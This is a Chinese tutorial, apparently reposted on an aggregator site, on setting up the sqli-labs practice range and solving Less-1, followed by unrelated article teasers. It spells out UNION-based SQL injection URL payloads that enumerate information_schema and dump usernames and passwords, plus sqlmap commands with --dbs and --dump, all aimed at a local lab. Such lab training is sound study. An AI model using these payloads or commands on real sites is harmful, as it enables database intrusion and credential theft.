SQL注入绕过实战案例一

news2024/12/24 20:35:16

目录

一、SQL-LAB靶场搭建

1、搭建环境

2、开启nginx和mysql

3、将下载好的sal-labs靶场将压缩文件解压至phpstudy的www目录下

4、查看mysql密码,将其修改值靶场配置文件中

5、配置网站

6、完成后我们就可以在浏览器输入127.0.0.1:8090进入靶场

 二、sql-lab靶场闯关

第一关:

1、查看是否有注入

2、查看数组数据

3、联合查询

(1)查看表列是否相同**

(2)联合查询

 查询数据库名:

 打印断点调试:

 同时查看mysql版本号:

 查看当前用户权限:

 4、查询数据库下所有表名

三、使用sqlmap工具进行注入

1、打开Windows自带命令窗口,进入相应的目录

2、 执行其中的sqlmap.py

3、 使用sqlmap 对第一关进行漏洞检测

4、查询数据库

5、查看权限

6、查看security数据库下的表

7、 查表下的列

8、查最终字段


一、SQL-LAB靶场搭建

1、搭建环境

php小皮面板下载:小皮面板(phpstudy) - 让天下没有难配的服务器环境!

具体配置教程:VScode的PHP远程调试模式Xdebug_奈何@_@的博客-CSDN博客

sql-lab安装包我已经上传资源,可以自行下载

 2、开启nginx和mysql

3、将下载好的sal-labs靶场将压缩文件解压至phpstudy的www目录下

4、查看mysql密码,将其修改值靶场配置文件中

5、配置网站

打开小皮网站,找一个没有使用的端口作为网站端口,然后把靶场文件作为网站根目录

注意:最好使用5.xxx版本,实测7.xxx版本无法使用

6、完成后我们就可以在浏览器输入127.0.0.1:8090进入靶场

点击:Setup/reset Database for labs,对靶场需要的数据进行初始化,会自动创建好靶场所需要的数据库内容。初始化完成后就可以愉快的开始闯关了。

 二、sql-lab靶场闯关

第一关:

思路:逃逸单引号,闭合单引号

联合查询 —— union

and查询——and

得到管理员用户名和密码——前提:处于那个数据库下,那个表下,那个字段里面

1、查看是否有注入

http://127.0.0.1:8090/Less-1/?id=1''

2、查看数组数据

3、联合查询

前置条件——两个表,列相同

(1)查看表列是否相同**

order by——排序函数(可用1代表第一列,一次类推)

mysqsl注释方法
单行注释
-- 
#
多行注释
//
/* */

从第一列开始一次测试:

http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%201--+
http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%202--+
http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%203--+

前三列均正常:

直到第四列开始无法识别:

http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%204--+

可见第三列正常,第四列不正常,由此判断前三列的列表相同

(2)联合查询

http://127.0.0.1:8090/Less-1/?id=1%27%20union%20select%201,2,3

这里为什么出现问题呢?由此引出union联合查询的规则

注意:union联合查询遵循前假后真原则:当前一个查询结果为真时,后续查询则拒绝执行

解决方法:将id=1更改为id = -1,使之无法查询

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,2,3--+

可以确定username在2字段,password在3字段

 查询数据库名:
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,database(),3--+

可见前端已经将数据库打印并显示出来

打印断点调试:

此时查询数据成为2,3字段

 同时查看mysql版本号:
 
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,database(),version()--+

查看当前用户权限:
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,user(),version()--+

 4、查询数据库下所有表名

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

查看这四个表,猜测其中user的重要性最高,我们首先来查看user表
 

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27and%20table_name=%27users%27--+

可见user表中id,username,password

使用group_concat函数user表内查询user 和password

group_concat函数:可查询多行数据

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+

由此查出username和password的具体数据:

也可以单独查询username和password

username:

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,username,3%20from%20users--+

password:

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,password,3%20from%20users--+

也可以使用concat函数查询

concat函数:可查询单行数据

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,concat(username,0x3a,password),3%20from%20users--+

可以使用limit 1,1来将查询数据进行多行显示,有几行就写几个1

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,concat(username,0x3a,password),3%20from%20users%20limit%201--+

三、使用sqlmap工具进行注入

1、打开Windows自带命令窗口,进入相应的目录

D:\software\computing\Program\Python311

2、 执行其中的sqlmap.py

python sqlmap/sqlmap.py

3、 使用sqlmap 对第一关进行漏洞检测

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1

4、查询数据库

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 --dbs

5、查看权限

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 --current-user

6、查看security数据库下的表

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security --tables

7、 查表下的列

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security -T users --columns

8、查最终字段

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security -T users --dump "username,password"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/975061.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue 打印

vue-print-nb插件使用 vue 打印 vue-print-nb - 简书 1、media print 内样式无效问题 <style lang"scss"> media print {} </style> style上不能加scoped; 2、分页问题 A4纸的长宽&#xff1a;210mm297mm&#xff0c;css中支持mm单位&#xff0c;可…

室内外高精度融合定位模块UWB+RTK

UWBRTK融合定位模块是华星智控自主研发的一款用于实现室内外高精度融合定位的模块。 UWB&#xff08;Ultra-Wideband&#xff09;&#xff1a;UWB是一种无线通信技术&#xff0c;它利用非常宽的频带来传输数据。UWB技术可以提供非常精确的距离测量&#xff0c;因为它能够以极短…

【20期】说一说Java引用类型原理

Java中一共有4种引用类型(其实还有一些其他的引用类型比如FinalReference)&#xff1a;强引用、软引用、弱引用、虚引用。 其中强引用就是我们经常使用的Object a new Object(); 这样的形式&#xff0c;在Java中并没有对应的Reference类。 本篇文章主要是分析软引用、弱引用、…

小狐狸ChatGPT付费创作系统V2.2.4独立版 +WEB端+ H5端 + 小程序端(免授权去后门弹窗)安装教程

播播资源提供的小狐狸ChatGPT付费创作系统V2.2.4相比上一版h5适配普通手机浏览器&#xff0c;gpt4的接口openai改成自定义&#xff0c;以支持更多三方接口。因绘画效果不好&#xff0c;移出绘画接口openai和replicate&#xff0c;AI参数设置处的openai改成自定义&#xff0c;pc…

【Flutter】Flutter 使用 badges 实现创建数字徽章

【Flutter】Flutter 使用 badges 实现创建数字徽章 文章目录 一、前言二、安装与基本使用三、徽章的高级用法四、徽章的动画效果五、徽章的形状六、完整的实际业务代码示例七、总结 一、前言 你好&#xff01;今天我要为你介绍一个非常实用的 Flutter 包——badges。这个包可以…

QTableView合并单元格

QtableView的功能 QTableView是Qt框架提供的用于显示表格数据的类。它是基于MVC&#xff08;模型-视图-控制器&#xff09;设计模式的一部分&#xff0c;用于将数据模型和界面视图分离。 以下是一些QTableView的主要特点和功能&#xff1a; 1. 显示表格数据&#xff1a; QTa…

CPU 伪共享是如何发生的?又该如何避免?

CPU 如何读写数据的&#xff1f; 先来认识一下 CPU 的架构 一个 CPU 里通常会有多个 CPU 核心&#xff0c;并且每个 CPU 核心都有自己的 L1 Cache 和 L2 Cache&#xff0c;而 L1 Cache 通常分为&#xff08;数据缓存&#xff09;和&#xff08;指令缓存&#xff09;&#xff0…

空间曲线的参数方程

空间曲线的参数方程 二维直线 经过一点 P ( x 0 &#xff0c; y 0 ) P(x_0&#xff0c;y_0) P(x0​&#xff0c;y0​)的方向向量为 n ( c o s θ &#xff0c; s i n θ ) n(cos\theta&#xff0c;sin\theta) n(cosθ&#xff0c;sinθ)的直线参数方程为&#xff1a; [ x y …

如何创建一个自己的sphinx文档网站

文章目录 前言一、操作步骤1.安装anaconda2.启动python3.8环境3.安装Sphinx4.创建文件夹5.初始化环境6. 编译7.文件夹搭查看8.搭建nginx查看8. 更换主题9.错误修复10.这里提供两个模板1.Demo_md2.Demo_rst前言 最近看到公司的文档中心,突然想起,为什么不为自己创建一个文档中…

maven依赖,继承

依赖的范围 compile引入的依赖 对main目录下的代码有没有效&#xff0c;main目录下的代码能不能用compile引入的依赖中的类等 以test引入的依赖&#xff0c;在main中是否可以使用 provided&#xff08;已提供&#xff09;&#xff0c;有了就不要带到服务器上&#xff0c;打包…

OLED透明屏原彩优势和特点解析:开创显示技术新时代

OLED透明屏 原彩作为一项领先的显示技术&#xff0c;正以其卓越的性能和创新的设计特点引起广泛关注。 本文将通过深入探讨OLED透明屏 原彩的优势和特点、应用领域、技术发展以及未来前景等方面内容&#xff0c;并结合具体数据、报告和行业动态&#xff0c;为读者提供专业可信…

Dubbo 接口测试原理及多种方法实践总结

1、什么是 Dubbo&#xff1f; Dubbo 最开始是应用于淘宝网&#xff0c;由阿里巴巴开源的一款优秀的高性能服务框架&#xff0c;由 Java 开发&#xff0c;后来贡献给了 Apache 开源基金会组织。 下面以官网的一个说明来了解一下架构的演变过程&#xff0c;从而了解 Dubbo 的诞…

ClickHouse进阶(八):Clickhouse数据查询-2- Join子句

进入正文前&#xff0c;感谢宝子们订阅专题、点赞、评论、收藏&#xff01;关注IT贫道&#xff0c;获取高质量博客内容&#xff01; &#x1f3e1;个人主页&#xff1a;含各种IT体系技术,IT贫道_Apache Doris,大数据OLAP体系技术栈,Kerberos安全认证-CSDN博客 &#x1f4cc;订阅…

Unity3D开发流程及注意事项

使用Unity3D开发游戏需要遵循一定的流程和注意事项&#xff0c;以确保项目的顺利进行并获得良好的结果。以下是一般的游戏开发流程以及一些注意事项&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 游…

【笔记】软件测试的艺术

软件测试的心理学和经济学 测试是为发现错误而执行程序的过程&#xff0c;所以它是一个破坏性的过程&#xff0c;测试是一个“施虐”的过程。 软件测试的10大原则 1、测试用例需要对预期输出的结果有明确的定义 做这件事的前提是能够提前知晓需求和效果图&#xff0c;如果不…

测评补单成为亚马逊、速卖通等跨境电商趋势:解析需求背后的原因

今天就不分享测评技术知识点了&#xff0c;来聊一聊如今做跨境电商为什么对测评补单有这么大的需求。 如今在跨境电商行业&#xff0c;测评补单的需求日益增长&#xff0c;尽管平台一直对其进行禁止。这主要是出于以下几方面的原因&#xff0c;使得测评越来越成为一种趋势&…

方案展示 | RK3588开发板Linux双摄同显方案

iTOP-RK3588开发板使用手册更新&#xff0c;后续资料会不断更新&#xff0c;不断完善&#xff0c;帮助用户快速入门&#xff0c;大大提升研发速度。 RK3588开发板载4路MIPI CAMERA摄像头接口、MIPI CSI DPHY的4.5Gbps、2.5Gops的MIPI CSI CPHY&#xff0c;四路同时输入&#xf…

每天一个工业通信协议(2)2023.8.28 (CAN协议)

文章目录 参考资料1.CAN协议介绍2.CAN的特点3.CAN的通信单元始终处于错误的三种状态之一4.CAN协议的基本概念5.CAN协议的两种ISO标准的不同6.CAN协议6.1 帧的种类6.2 数据帧6.3 遥控帧6.4 错误帧6.5 过载帧参考资料 瑞萨电子《CAN入门书》 1.CAN协议介绍 答: CAN 是 Contro…

编程学习的方向与赛道的选择没有最优解的

听人劝、吃饱饭,奉劝各位小伙伴,不要订阅该文所属专栏。 作者:不渴望力量的哈士奇(哈哥),十余年工作经验, 跨域学习者,从事过全栈研发、产品经理等工作,现任研发部门 CTO 。荣誉:2022年度博客之星Top4、博客专家认证、全栈领域优质创作者、新星计划导师,“星荐官共赢计…

超越传统营销:海外网红带货能力的6大关键特质!

随着社交媒体的崛起和全球互联网的普及&#xff0c;海外网红已经成为了商业领域中不可忽视的力量。这些具有强大带货能力的网红不仅仅是广告代言人&#xff0c;更是品牌营销的重要合作伙伴。他们凭借其独特的魅力和行动力&#xff0c;在市场中掀起了一股风潮。社交媒体里网红那…